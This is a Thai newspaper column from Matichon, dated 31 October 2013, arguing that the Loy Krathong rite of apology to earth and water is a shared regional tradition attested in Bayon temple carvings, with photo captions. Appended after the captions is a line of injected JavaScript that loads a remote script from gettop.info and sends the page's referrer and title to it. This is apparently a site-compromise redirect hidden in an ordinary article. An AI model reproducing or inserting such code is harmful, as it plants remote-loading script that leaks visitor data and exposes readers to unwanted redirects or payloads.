มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 31 ตุลาคม 2556

 

ขอขมาดินน้ำ ขึ้นปีใหม่สุวรรณภูมิ

          พิธีขอขมาดินน้ำในกัมพูชา เท่าที่พบหลักฐานเก่าสุด เป็นภาพสลักหินที่ปราสาทบายน ราว พ.ศ. 1750 (แสดงว่ามีมาก่อนหน้านั้นนานมากแล้ว หรือก่อนยุคสุโขทัย)

          มีเอกสารระบุชื่อเรียกพิธีนี้เป็นหลายชื่อ เช่น พิธีพายเรือ, พิธีลอยประทีป, พิธีไหว้พระแข (พระจันทร์)

          แล้วบอกอีกว่ามีขึ้นช่วงเวลาปลายฤดูกาลเก่า (เดือน 12) ย่างเข้าฤดูกาลใหม่ (เดือนอ้าย)

          บ้านเมืองอื่นๆ ทั่วทั้งดินแดนสุวรรณภูมิ รวมทั้งรัฐอยุธยาและรัฐอื่นๆในไทย ล้วนมีพิธีขอขมาดินน้ำเนื่องในศาสนาผีอย่างเดียวกัน แต่อาจเรียกชื่อพิธีต่างกันไป โดยไม่จำเป็นต้องรับแบบแผนจากกัมพูชา

          เพราะพิธีขอขมาดินน้ำประจำปี เป็นพิธีกรรมร่วม(หรือวัฒนธรรมร่วม)ของคนทุกเผ่าพันธุ์ทั้งสุวรรณภูมิ จึงไม่มีใครเป็นเจ้าของพวกเดียว

          ไทยเป็นแต่ดัดแปลงวัสดุลอยน้ำเป็นเครื่องเซ่นขอขมาด้วยกระทงใบตอง แล้วเรียกชื่อใหม่สมัย ร.3 กรุงรัตนโกสินทร์ว่าลอยกระทง

          พิธีขอขมาดินน้ำเดือน 12 ที่ไทยเรียกลอยกระทง เทียบได้กับขึ้นปีใหม่ในทางสากล เพราะเสร็จพิธีก็เข้าฤดูกาลใหม่ เรียกเดือนอ้าย หรือเดือนที่หนึ่งของปีนักษัตรใหม่ (เปลี่ยนปีนักษัตรตอนนี้ ไม่เปลี่ยนตอนสงกรานต์ตามที่เชื่อถือกันมา เพราะสงกรานต์เป็นประเพณีพราหมณ์ในอินเดีย ไม่มีปีนักษัตร)

ภาพสลักลอยกระทง บริเวณมุมผนังด้านทิศใต้มุมตะวันออกของผนังระเบียงด้านนอกสุดของปราสาทบายน ราว พ.ศ. 1750 (ถ่ายภาพโดย วรรณวิภา สุเนต์ตา เมื่อ พ.ศ. 2548)

ลายเส้นภาพสลักที่ปราสาทบายน (คัดลอกโดย ธัชชัย ยอดพิชัย)

document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;